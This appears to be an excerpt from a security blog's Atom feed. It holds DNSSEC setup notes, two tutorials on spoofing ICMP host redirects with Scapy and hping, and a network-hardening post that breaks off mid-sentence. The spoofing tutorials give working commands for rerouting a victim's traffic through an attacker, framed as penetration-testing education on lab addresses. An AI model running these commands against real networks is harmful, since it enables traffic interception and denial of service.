type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4321269171941695826'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2011/04/detecting-pecoff-exedll-files-with.html' title='Detecting PECOFF EXE/DLL files with Snort'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-2861511265959061924</id><published>2010-11-10T08:32:00.000-08:00</published><updated>2010-11-10T08:32:03.453-08:00</updated><title type='text'>DNSSEC Notes</title><content type='html'>Quick and dirty DNSSEC recipe:&lt;br /&gt;&lt;br /&gt;1) named.conf global options&lt;br /&gt;&lt;br /&gt;options {&lt;br /&gt;  dnssec-enable yes;&lt;br /&gt;  dnssec-validation yes;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;1.5) "root" zone trusted key&lt;br /&gt;&lt;br /&gt;get root key: &lt;br /&gt;  dig +multi +noall +answer DNSKEY . &gt;root.dnskey&lt;br /&gt;&lt;br /&gt;convert to DS RR set:&lt;br /&gt;  dnssec-dsfromkey -f root.dnskey . &gt;root.ds&lt;br /&gt;&lt;br /&gt;include in named.conf:&lt;br /&gt;&lt;br /&gt;managed-keys {&lt;br /&gt;  "." initial-key 257 3 8 "&lt;br /&gt;      blah blah blah ";&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;2) Generating key signing key (KSK) and zone signing key (ZSK)&lt;br /&gt;&lt;br /&gt;ZSK: dnssec-keygen -r /dev/random -a RSASHA1 -b 1024 -n ZONE myzone.name&lt;br /&gt;KSK: dnssec-keygen -r /dev/random -f KSK -a RSASHA1 -b 1280 -n ZONE myzone.name&lt;br /&gt;&lt;br /&gt;3) Inside your zone file, include the public keys&lt;br /&gt;&lt;br /&gt;$include Kmyzone.name.+005+1234.key ;ZSK&lt;br /&gt;$include Kmyzone.name.+005+4567.key ;KSK&lt;br /&gt;&lt;br /&gt;4) Sign the DNS zone&lt;br /&gt;&lt;br /&gt;dnssec-signzone -r /dev/random -o myzone.name -k Kmyzone.name.+005+1234 myzone.name Kmyzone.name.+005.4567.key&lt;br /&gt;&lt;br /&gt;5) Verify the signed zone records:&lt;br /&gt;&lt;br /&gt;cat myzone.name.signed&lt;br /&gt;&lt;br /&gt;6) Check a query...&lt;br /&gt;&lt;br /&gt;dig +dnssec www.myzone.name A&lt;br /&gt;&lt;br /&gt;Note: data for which a local name server is authoritative for, and comes from disk will not result in the trust chain traversal.  ie: It is assumed that if a server can read the zone off disk, then it is secure anyway.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-2861511265959061924?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/2861511265959061924/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=2861511265959061924' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/2861511265959061924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/2861511265959061924'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2010/11/dnssec-notes.html' title='DNSSEC Notes'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-4594063800010788368</id><published>2010-06-04T12:05:00.000-07:00</published><updated>2010-06-10T13:45:41.960-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scapy icmp redirect'/><title type='text'>Better spoofing of ICMP host redirect messages with Scapy</title><content type='html'>Scapy is a packet crafting tool written in Python that offers very fine-grained OSI layer 2, 3, and 4 control of header fields.&amp;nbsp;&amp;nbsp; Scapy will do some things for you automatically if you don't fill in all of the fields in any specific header.&amp;nbsp;&amp;nbsp; Examples of this might be the IP total length field, IP version number, TCP or UDP length fields, and checksum values.&lt;br /&gt;&lt;br /&gt;Unlike Hping, when Scapy is used to send ICMP redirects, it does a fine job of calculating all additional fields correct and filling in all required checksums to make things happen correctly.&amp;nbsp;&amp;nbsp;&amp;nbsp; For people familiar with software development, and detailed packet header information, Scapy is an ideal tool.&lt;br /&gt;&lt;br /&gt;I used an Ubuntu system to test Scapy out for ICMP redirect activity, obtaining it as follows: "sudo apt-get install python-scapy".&lt;br /&gt;&lt;br /&gt;In this scenario, our legitimate router gateway is 192.168.128.2, and our victim/target host is 192.168.128.128.&amp;nbsp;&amp;nbsp; We are going to spoof an ICMP redirect for the /32 host route 10.1.1.1, redirecting that address to the new gateway of 192.168.128.136.&lt;br /&gt;&lt;br /&gt;After installing scapy, we will run as root to ensure that we can craft packets from the attacker's ethernet interface.&amp;nbsp;&amp;nbsp; Along the way, we will instantiate different objects representing the various layer 3 and 4 headers that we require.&amp;nbsp;&amp;nbsp; In this case, we require an IP datagram, with ICMP as well as another IP payload to be delivered inside the ICMP payload.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Welcome to Scapy (2.0.0.5 beta)&lt;br /&gt;&gt;&gt;&gt; ip=IP()&lt;br /&gt;&gt;&gt;&gt; ip.src='192.168.128.2'&lt;br /&gt;&gt;&gt;&gt; ip.dst='192.168.128.128'&lt;br /&gt;&gt;&gt;&gt; ip.display&lt;br /&gt;&amp;lt;bound method IP.display of &amp;lt; ip  src=192.168.128.2 dst=192.168.128.128 |&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now, we go forward and set the ICMP parameters as follows, type=5 for redirect, and code=1 for host, and then set the gateway destination.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; icmp=ICMP()&lt;br /&gt;&gt;&gt;&gt; icmp.type=5&lt;br /&gt;&gt;&gt;&gt; icmp.code=1&lt;br /&gt;&gt;&gt;&gt; icmp.gw='192.168.128.136'&lt;br /&gt;&gt;&gt;&gt; icmp.display&lt;br /&gt;&amp;lt;bound method ICMP.display of &amp;lt;icmp  type=redirect code=1 gw=192.168.128.136 |&amp;gt;&amp;gt;&amp;gt;&lt;br /&gt;&gt;&gt;&gt; icmp.display()&lt;br /&gt;###[ ICMP ]###&lt;br /&gt;  type= redirect&lt;br /&gt;  code= 1&lt;br /&gt;  chksum= 0x0&lt;br /&gt;  gw= 192.168.128.136&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I deliberately used two different methods for displaying the ICMP object properties to illustrate that you can display either the full header or only the modified fields. &lt;br /&gt;&lt;br /&gt;At this stage, we need to create the payload of the ICMP packet itself.&amp;nbsp; This is important because the IP destination address is what becomes the route table host entry when the redirect is sent to the victim.  We will set the IP source address within the ICMP payload to be the victim host address since this "would have been" the originator of the packet that elicited the ICMP redirect in a legitimate situation.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&gt;&gt;&gt; ip2=IP()&lt;br /&gt;&gt;&gt;&gt; ip2.src='192.168.128.128'&lt;br /&gt;&gt;&gt;&gt; ip2.dst='10.1.1.1'&lt;br /&gt;&gt;&gt;&gt; ip2.display&lt;br /&gt;&amp;lt;bound method IP.display of &amp;lt;IP  src=192.168.128.128 dst=10.1.1.1 |&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The layer 4 portion of the ICMP payload can be anything we like.&amp;nbsp; In this example, we will use Scapy's UDP() method which defaults to looking a lot like a DNS header.&amp;nbsp;&amp;nbsp; Since the defaults are pretty good, we don't need to use a Scapy variable. &amp;nbsp; We can send out our ICMP datagram because it is now fully assembled!&lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; send(ip/icmp/ip2/UDP())&lt;br /&gt;.&lt;br /&gt;Sent 1 packets.&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; &lt;br /&gt;&lt;br /&gt;When packet crafting for research or especially penetration testing work, you should always have 'tcpdump' running and at minimum displaying packet data, if not writing it to disk:&lt;br /&gt;&lt;br /&gt;sudo tcpdump -ennvvX -i eth0 -s1514 'icmp'&lt;br /&gt;[sudo] password for deadlist: &lt;br /&gt;tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 1514 bytes&lt;br /&gt;08:55:19.971914 00:0c:29:e3:3f:d3 &amp;gt; 00:0c:29:4d:99:8f, ethertype IPv4 (0x0800), length 70: (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 56)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 192.168.128.2 &amp;gt; 192.168.128.128: ICMP redirect 10.1.1.1 to host 192.168.128.136, length 36&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto UDP (17), length 28)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 192.168.128.128.53 &amp;gt; 10.1.1.1.53: [udp sum ok] [|domain]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0000:&amp;nbsp; 4500 0038 0001 0000 4001 f8f0 c0a8 8002&amp;nbsp; E..8....@.......&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0010:&amp;nbsp; c0a8 8080 0501 0612 c0a8 8088 4500 001c&amp;nbsp; ............E...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0020:&amp;nbsp; 0001 0000 4011 2ea6 c0a8 8080 0a01 0101&amp;nbsp; ....@...........&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0x0030:&amp;nbsp; 0035 0035 0008 b349&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .5.5...I&lt;br /&gt;&lt;br /&gt;And there we have it folks!&amp;nbsp;&amp;nbsp; Scapy is a fascinating tool for exploring all sorts of packet crafting ideas and because it's Python, you can have lots of fun scripting things to your heart's content.&lt;/ip&amp;nbsp;&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-4594063800010788368?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/4594063800010788368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=4594063800010788368' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4594063800010788368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/4594063800010788368'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2010/06/better-spoofing-of-icmp-host-redirect.html' title='Better spoofing of ICMP host redirect messages with Scapy'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-1062377448910615353</id><published>2010-05-26T12:54:00.000-07:00</published><updated>2010-06-08T08:06:12.945-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hping icmp redirect'/><title type='text'>Spoofing ICMP redirect host messages with hping</title><content type='html'>An icmp redirect host message can be sent from any router on the same broadcast segment as the end host that "needs redirection".&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Modern network infrastructures will typically have a single router gateway address per subnet however it is possible to have more than one router in a segment making the operational case for ICMP redirect messages.&lt;br /&gt;&lt;br /&gt;An ICMP redirect host message has ICMP type 5, code 1.&amp;nbsp;&amp;nbsp;&amp;nbsp; The ICMP redirect network code is 0.&amp;nbsp; There also exists redirect with Type of Service (ToS) for both network and host (codes 2 and 3).&lt;br /&gt;&lt;br /&gt;With the advent of classless Internet domain routing (CIDR, RFC 1518/1519 in 1993), an end host cannot readily determine the network class and thus ICMP type 5, code 0 is basically useless.&amp;nbsp; RFC 1812 additionally states that a router should not generate type 5, code 0.&amp;nbsp;&amp;nbsp; While working on this post, I observed that a Windows host will accept code 0 and treat it the same as code 1 adding a /32 route to the table.&amp;nbsp;&lt;br /&gt;&lt;br /&gt;Because IP source address spoofing is trivial, ICMP redirect message abuse potential exists.&amp;nbsp;&amp;nbsp; The only specific limitation is that the "new" destination gateway address of the redirect message must exist within the same subnet as the end host itself.&lt;br /&gt;&lt;br /&gt;The ICMP redirect use case would most likely be employed in a network penetration testing scenario whereby extensive layer 2 security features are enabled limiting the effectiveness of layer 2 attacks such as ARP cache poisoning and rogue DHCP server use.&amp;nbsp;&amp;nbsp;&amp;nbsp; The primary goal being to intercept traffic for a specific destination address.&lt;br /&gt;&lt;br /&gt;The end host must be configured to accept ICMP redirect messages and update its routing table accordingly.&amp;nbsp;&amp;nbsp; Within Microsoft Windows, there is a registry key that enables the acceptance of ICMP redirect messages.&amp;nbsp; This DWORD registry key has a default setting of 0x0001, that being the "enabled" state. &lt;br /&gt;&lt;br /&gt;HKLM\System\CurrentControlSet\Services\Parameters\Tcpip\EnableICMPRedirect&lt;br /&gt;&lt;br /&gt;Based on my reading, I believe some implementations of the Microsoft TCP/IP stack also read the plural form of this key "EnableICMPRedirects" rather than the singular form, so it is possible that both keys exist.&lt;br /&gt;&lt;br /&gt;With regard to the Windows XP firewall, it will block all ICMP requests in its default configuration state.&amp;nbsp; Of course, there may be site wide group policy that changes this situation for legitimate operational reasons such as multiple router gateways existing in a single segment.&amp;nbsp;&amp;nbsp;&amp;nbsp; If you wish to experiment, and enable 'icmp redirect' from the command line, there are two useful 'netsh' commands as follows:&lt;br /&gt;&lt;br /&gt;C:\&amp;gt; netsh firewall show icmpsetting&lt;br /&gt;&lt;br /&gt;shows the current state of ICMP acceptance if any.&amp;nbsp; A blank output indicates that no ICMP policies are in effect.&lt;br /&gt;&lt;br /&gt;C:\&amp;gt; netsh firewall set icmpsetting type=5 mode=enable&lt;br /&gt;&lt;br /&gt;will enable the acceptance of ICMP redirects through the firewall.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Linux kernel has two settings that control ICMP redirect acceptance behavior.&amp;nbsp;&amp;nbsp; For the 'eth0' interface, these settings are as follows:&lt;br /&gt;&lt;br /&gt;/proc/sys/net/ipv4/conf/eth0/accept_redirects&lt;br /&gt;/proc/sys/net/ipv4/conf/eth0/secure_redirects&lt;br /&gt;&lt;br /&gt;If "secure_redirects" is enabled, the Linux system will only accept ICMP redirects that are redirected to a default gateway that is already listed in the routing table.&amp;nbsp;&amp;nbsp; This is the default in most modern linux distributions and is an effective defense against spoofing attempts.&lt;br /&gt;&lt;br /&gt;'accept_redirects' is enabled as the default also.&amp;nbsp;&amp;nbsp; If the 'secure_redirects' kernel parameter is set to 0, then the linux kernel is susceptible to an ICMP host redirect attack in the same way that a Windows system is susceptible.&amp;nbsp;&amp;nbsp;&amp;nbsp; The one thing to note is that the linux kernel will not show the accepted route in the routing table that is listed through 'route show' or 'netstat -nr' commands, even though the route is in effect.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Our scenario below is laid out as follows:&lt;br /&gt;&lt;br /&gt;Attacker IP Address: 172.16.235.99&lt;br /&gt;Legitimate Router Gateway: 172.16.235.1&lt;br /&gt;Victim IP Address: 172.16.235.100&lt;br /&gt;&lt;br /&gt;The legitimate DNS server address is 10.1.1.1.&lt;br /&gt;&lt;br /&gt;We can use ICMP redirect host to insert a new route table entry for the 10.1.1.1 address as follows:&lt;br /&gt;&lt;br /&gt;hping -I eth-dest -C 5 -K 1 -a 172.16.235.1 --icmp-ipdst 10.1.1.1 --icmp-gw 172.16.235.99 --icmp-ipsrc 172.16.235.100 172.16.235.100&lt;br /&gt;&lt;br /&gt;whereby:&lt;br /&gt;-I eth-dest is the destination ethernet interface on the attacker to send the packets out of/from.&lt;br /&gt;-a &lt;ip&gt; is the spoofed source address of the legit. router gateway&lt;/ip&gt;&lt;br /&gt;--icmp-ipdst &lt;ip&gt; is the new route table entry address you want to create&lt;/ip&gt;&lt;br /&gt;--icmp-gw &lt;ip&gt; is the new route destination address/gateway you want to create and must live within the same subnet as the victim.&lt;/ip&gt;&lt;br /&gt;--icmp-ipsrc &lt;ip&gt; must match the source address of the victim to pass sanity checking&lt;/ip&gt;&lt;br /&gt;&lt;br /&gt;If you check the route table on the victim using "netstat -nr" or "route print" after executing this command from the attacker, you should see a new route table entry.&amp;nbsp;&amp;nbsp; Since MS-Windows will readily accept these new route table entries, many ICMP redirects can be generated with random IPv4 prefixes to perform a denial of service against the target.&amp;nbsp;&amp;nbsp; A /32 host route learned via an ICMP redirect message will remain in the routing table for 10 minutes.&lt;br /&gt;&lt;br /&gt;In this example, we assumed that the attacker was on the same subnet in order to receive / intercept the traffic.&amp;nbsp;&amp;nbsp; In other words, the attacker would also be a DNS server ready to serve some bogus response to the victim.&amp;nbsp;&amp;nbsp;&amp;nbsp; The attacking host could well be a different machine on another network, but the "man in the middle" host or "router gateway" if you like needs to remain on the same subnet in order to receive the traffic.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2320276621879394553-1062377448910615353?l=blog.packetheader.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.packetheader.net/feeds/1062377448910615353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2320276621879394553&amp;postID=1062377448910615353' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/1062377448910615353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2320276621879394553/posts/default/1062377448910615353'/><link rel='alternate' type='text/html' href='http://blog.packetheader.net/2010/05/spoofing-icmp-redirect-host-messages.html' title='Spoofing ICMP redirect host messages with hping'/><author><name>Joff Thyer</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2320276621879394553.post-6282843532817311357</id><published>2010-05-05T08:41:00.000-07:00</published><updated>2010-06-04T14:07:11.374-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='network security defense'/><title type='text'>Network Infrastructure Defense Really Matters!</title><content type='html'>&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In today’s world of focused client side device attacks, many security analysts and network security engineers have lost sight of defense configurations that can really make a sizable impact in slowing down network intrusion activity.&amp;nbsp;&amp;nbsp;&amp;nbsp; This article is about network infrastructure precautions that, when sensibly deployed, can assist greatly in defense posture.&amp;nbsp;&amp;nbsp; I will focus both on general recommendations and specific Cisco features in the enterprise LAN space.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;span style="font-size: small;"&gt;&lt;u&gt;&lt;b&gt;Network Access / Layer 2 Defenses&lt;/b&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;1. DHCP Protocol Snooping&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;The DHCP snooping feature is very effective at preventing rogue DHCP servers from operating on a network.&amp;nbsp;&amp;nbsp; A rogue DHCP server is most dangerous for its ability to deliver alternative Domain Name Server (DNS) addresses.&amp;nbsp;&amp;nbsp; The alternate DNS servers will of course deliver whatever custom DNS responses needed to intercept important traffic, re-direct traffic to fake websites etc.&amp;nbsp; Typically, rogue DHCP server responses will always beat the response time of a central DHCP server due to its layer 2 network adjacency.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Most networks will have centrally deployed DHCP server(s) for IP address delivery.&amp;nbsp; The DHCP snooping feature ensures that DHCP responses can only be transmitted from “trusted” network interfaces, usually interfaces which are uplinks to the core network infrastructure.&amp;nbsp;&amp;nbsp; This technology can be deployed on a per-Virtual LAN (VLAN) basis assuming the feature is present on the specific switch model in hand.&amp;nbsp; (Cisco 3560/3750 switches make this feature available)&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;If a “non-trusted” switch port receives a DHCP RESPONSE, or DHCP ACK packet, it can be configured to shutdown.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;A side effect of deploying this feature is that a tracking table is built within the switch containing details such as the client IP address and MAC/Ethernet address information.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;2. Dynamic Address Resolution Protocol (ARP) Inspection (DAI)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;DAI leverages the DHCP snooping table to ensure that IP address to MAC address mapping is consistent.&amp;nbsp; It also has a denial of service (DoS) prevention feature to limit the rate of ARP packets on a network segment.&amp;nbsp;&amp;nbsp; DAI is very effective against broadcast gratuitous ARP traffic, typically used for traffic interception purposes by tools like “Ettercap”, and “Cain N’Able”.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;3. IP Source Guard&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Again, we leverage the DHCP snooping table and place a dynamic IP access list on ingress traffic to ensure that the source IP address for all packets on any one switch interface is indeed the system connected to this port.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;4. Switchport Security&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Essential to prevent the Content Addressable Memory (CAM) table from being flooded.&amp;nbsp;&amp;nbsp; All network switches track the bridging destination of a packet by it’s destination MAC address.&amp;nbsp;&amp;nbsp; The MAC addresses are placed into the CAM table which has a fixed / limited maximum size.&amp;nbsp; On a typical Cisco switch, the CAM table defaults to 6,000 MAC address entries in the switches default mode.&amp;nbsp;&amp;nbsp; If the switch is optimized for desktop VLAN based switching, higher end switch models (such as the Catalyst 3750) can contain a maximum of 12,000 CAM entries.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;When the CAM table on a switch is filled up, the switch will flood/transmit all Ethernet frames out of all switch ports.&amp;nbsp; It is a relatively trivial matter to write code to generate packets to random Ethernet destinations and thus quickly fill a switch CAM table.&amp;nbsp;&amp;nbsp; The goal is to effectively turn the switch into a hub and enable traffic interception.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;If a switch can be configured to limit the number of CAM entries permitted on any single port, the CAM flooding attack is defeated.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;5. Broadcast Suppression (storm control)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;End devices generate broadcasts that are typically associated with ARP traffic.&amp;nbsp;&amp;nbsp; On a gigabit enabled Ethernet port, a 1% broadcast suppression level still leaves open the potential for up to 10Mbps of broadcast traffic.&amp;nbsp;&amp;nbsp;&amp;nbsp; On a Cisco device, we can suppress down to 1% of link speed using “storm-control broadcast level 1”.&amp;nbsp;&amp;nbsp;&amp;nbsp; Multicast can also be suppressed independently from broadcast on some devices.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;In environments where multicast is in production use, network engineers need to assess the level of multicast required to/from any one access port and then suppress at that level.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Broadcast suppression is critical in avoiding denial of service (DoS) conditions that can either be created by operational errors, or by a security incident / malware.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;u&gt;&lt;b&gt;Routing / Layer 3 Defenses&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Thinking in terms of “defense in depth”, layer 3 defenses act as a backup to the layer 2 defenses in place at the access layer of the network.&amp;nbsp;&amp;nbsp; Layer 3 defenses can be sub-divided into routing device protection (denial of service and infrastructure mapping protection), and network infrastructure protection.&amp;nbsp; We will first consider the network infrastructure category.&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;b&gt;1. Disable Proxy ARP (no ip proxy-arp)&lt;/b&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif;"&gt;Proxy ARP is a feature which allows the router to act as proxy for any host in its adjacent sub-network.&amp;nbsp;&amp;nbsp; When enabled, proxy ARP allows an end host, with an IP address that falls within the sub-network address range, to set its sub-network mask (and broadcast) to almost anything, and still be able to communicate on the network.&amp;nbsp;&amp;nbsp;&amp;nbsp; An end host could even set the smallest mask possible, eliminate a router gateway setting, and still be able to surf the entire 